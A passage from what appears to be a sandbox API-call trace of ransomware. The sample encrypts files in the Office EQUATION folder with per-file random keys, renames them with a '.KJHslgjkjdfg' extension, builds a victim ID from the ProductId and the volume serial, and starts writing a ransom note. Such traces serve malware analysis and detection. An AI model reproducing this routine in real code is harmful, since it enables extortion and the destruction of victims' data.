lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.362] SetEndOfFile (hFile=0xf0) returned 1 [0162.365] GetProcessHeap () returned 0x990000 [0162.365] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0162.365] GetProcessHeap () returned 0x990000 [0162.365] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0162.365] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.kjhslgjkjdfg")) returned 1 [0162.366] CloseHandle (hObject=0xf0) returned 1 [0162.366] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0162.366] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0162.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.436] GetProcessHeap () returned 0x990000 [0162.436] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0162.436] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0162.436] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0162.436] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0162.438] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0162.438] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0162.438] GetProcessHeap () returned 0x990000 [0162.438] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0162.438] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29df258*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29df258*=0x50) returned 1 [0162.438] CryptDestroyKey (hKey=0x9b6628) returned 1 [0162.438] WriteFile (in: hFile=0xf0, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29df270*=0x50, lpOverlapped=0x0) returned 1 [0162.439] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0162.439] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0162.439] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0162.439] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0162.439] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0162.439] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0162.439] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0162.439] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.439] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x236, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x236, lpOverlapped=0x0) returned 1 [0162.440] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x240, dwBufLen=0x240 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x240) returned 1 [0162.440] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.440] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x240, lpOverlapped=0x0) returned 1 [0162.440] CryptDestroyKey (hKey=0x9b6628) returned 1 [0162.440] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.440] SetEndOfFile (hFile=0xf0) returned 1 [0162.442] GetProcessHeap () returned 0x990000 [0162.443] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0162.443] GetProcessHeap () returned 0x990000 [0162.443] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0162.443] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.kjhslgjkjdfg")) returned 1 [0162.444] CloseHandle (hObject=0xf0) returned 1 [0162.444] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0162.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.444] GetProcessHeap () returned 0x990000 [0162.444] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0162.444] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0162.445] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0162.445] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0162.450] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0162.450] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0162.450] GetProcessHeap () returned 0x990000 [0162.450] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0162.450] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0162.450] CryptDestroyKey (hKey=0x9b6628) returned 1 [0162.450] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0162.450] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0162.451] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0162.451] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0162.451] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0162.451] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0162.451] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0162.451] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0162.451] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.451] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2b0b7, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2b0b7, lpOverlapped=0x0) returned 1 [0162.454] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b0c0, dwBufLen=0x2b0c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b0c0) returned 1 [0162.457] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.457] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2b0c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2b0c0, lpOverlapped=0x0) returned 1 [0162.458] CryptDestroyKey (hKey=0x9b6628) returned 1 [0162.458] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2b194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.458] SetEndOfFile (hFile=0xf0) returned 1 [0162.462] GetProcessHeap () returned 0x990000 [0162.462] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0162.462] GetProcessHeap () returned 0x990000 [0162.462] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0162.462] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.kjhslgjkjdfg")) returned 1 [0162.463] CloseHandle (hObject=0xf0) returned 1 [0162.463] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0162.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.465] GetProcessHeap () returned 0x990000 [0162.465] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0162.465] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0162.465] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0162.465] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0162.469] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0162.469] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0162.469] GetProcessHeap () returned 0x990000 [0162.469] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0162.469] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0162.469] CryptDestroyKey (hKey=0x9b6628) returned 1 [0162.469] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0162.469] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0162.469] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0162.469] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0162.469] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0162.469] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0162.469] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0162.469] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0162.469] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.470] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1de8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1de8, lpOverlapped=0x0) returned 1 [0162.471] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1df0, dwBufLen=0x1df0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1df0) returned 1 [0162.471] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.471] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1df0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1df0, lpOverlapped=0x0) returned 1 [0162.471] CryptDestroyKey (hKey=0x9b6628) returned 1 [0162.471] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.471] SetEndOfFile (hFile=0xf0) returned 1 [0162.474] GetProcessHeap () returned 0x990000 [0162.474] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0162.474] GetProcessHeap () returned 0x990000 [0162.474] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0162.474] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.kjhslgjkjdfg")) returned 1 [0162.475] CloseHandle (hObject=0xf0) returned 1 [0162.475] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0162.475] GetProcessHeap () returned 0x990000 [0162.475] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0162.476] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0162.476] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df0a8 | out: pbData=0x9af7b0, pdwDataLen=0x29df0a8) returned 1 [0162.476] CryptDestroyKey (hKey=0x9b6628) returned 1 [0162.476] GetProcessHeap () returned 0x990000 [0162.476] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0162.476] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0162.476] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df0a8 | out: pbData=0x9af7f8, pdwDataLen=0x29df0a8) returned 1 [0162.476] CryptDestroyKey (hKey=0x9b6628) returned 1 [0162.476] GetProcessHeap () returned 0x990000 [0162.476] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b78c0 [0162.476] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0162.476] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b78c0, pdwDataLen=0x29df0a8 | out: pbData=0x9b78c0, pdwDataLen=0x29df0a8) returned 1 [0162.476] CryptDestroyKey (hKey=0x9b6628) returned 1 [0162.476] GetProcessHeap () returned 0x990000 [0162.476] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0162.476] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0162.476] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dec88 | out: pbData=0x9af840, pdwDataLen=0x29dec88) returned 1 [0162.476] CryptDestroyKey (hKey=0x9b6628) returned 1 [0162.477] GetProcessHeap () returned 0x990000 [0162.477] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18f0 [0162.478] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0162.478] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18f0, pdwDataLen=0x29dec88 | out: pbData=0x9b18f0, pdwDataLen=0x29dec88) returned 1 [0162.478] CryptDestroyKey (hKey=0x9b6628) returned 1 [0162.478] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29dec84 | out: phkResult=0x29dec84*=0xf0) returned 0x0 [0162.478] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dec90, lpcbData=0x29dec8c*=0x400 | out: lpType=0x0, lpData=0x29dec90*=0x30, lpcbData=0x29dec8c*=0x18) returned 0x0 [0162.478] RegCloseKey (hKey=0xf0) returned 0x0 [0162.478] GetProcessHeap () returned 0x990000 [0162.478] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0162.478] GetProcessHeap () returned 0x990000 [0162.478] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18f0 | out: hHeap=0x990000) returned 1 [0162.478] GetProcessHeap () returned 0x990000 [0162.478] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18f0 [0162.479] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0162.479] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18f0, pdwDataLen=0x29dea5c | out: pbData=0x9b18f0, pdwDataLen=0x29dea5c) returned 1 [0162.479] CryptDestroyKey (hKey=0x9b6628) returned 1 [0162.479] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0162.479] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0162.479] GetProcessHeap () returned 0x990000 [0162.479] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18f0 | out: hHeap=0x990000) returned 1 [0162.479] wsprintfA (in: param_1=0x29deca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0162.479] wsprintfA (in: param_1=0x29df0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0162.479] GetProcessHeap () returned 0x990000 [0162.479] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b7c88 [0162.479] wsprintfW (in: param_1=0x29de084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\readme-warning.txt") returned 74 [0162.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 